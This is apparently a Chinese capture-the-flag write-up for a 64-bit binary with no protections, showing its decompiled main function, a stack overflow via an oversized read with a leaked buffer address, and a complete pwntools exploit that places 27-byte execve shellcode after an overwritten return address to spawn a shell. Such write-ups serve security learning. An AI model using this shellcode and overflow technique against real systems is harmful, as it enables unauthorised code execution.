64位动态链接ELF,没有开任何保护

main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", buf);
  puts("Now give me your answer : ");
  read(0, buf, 0x40uLL);
  return 0;
}

存在栈溢出,并且给了栈上的一个地址

不过栈溢出的空间有些小,是24位+8位的ret addr+32位这样一个空间

不过找到了一个27位的shellcode,因此直接写到ret addr后面就行

exp如下:

from pwn import *

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

io = process('./shellcode-x86-64')

io.recvuntil('Do your kown what is it : [')
buf_addr = int(io.recvuntil(']', drop = True), 16)
info('buf_addr: ' + hex(buf_addr))

io.recvuntil('Now give me your answer : \n')
payload = b'a' * 24 + p64(buf_addr + 0x20) + shellcode
io.send(payload)

io.interactive()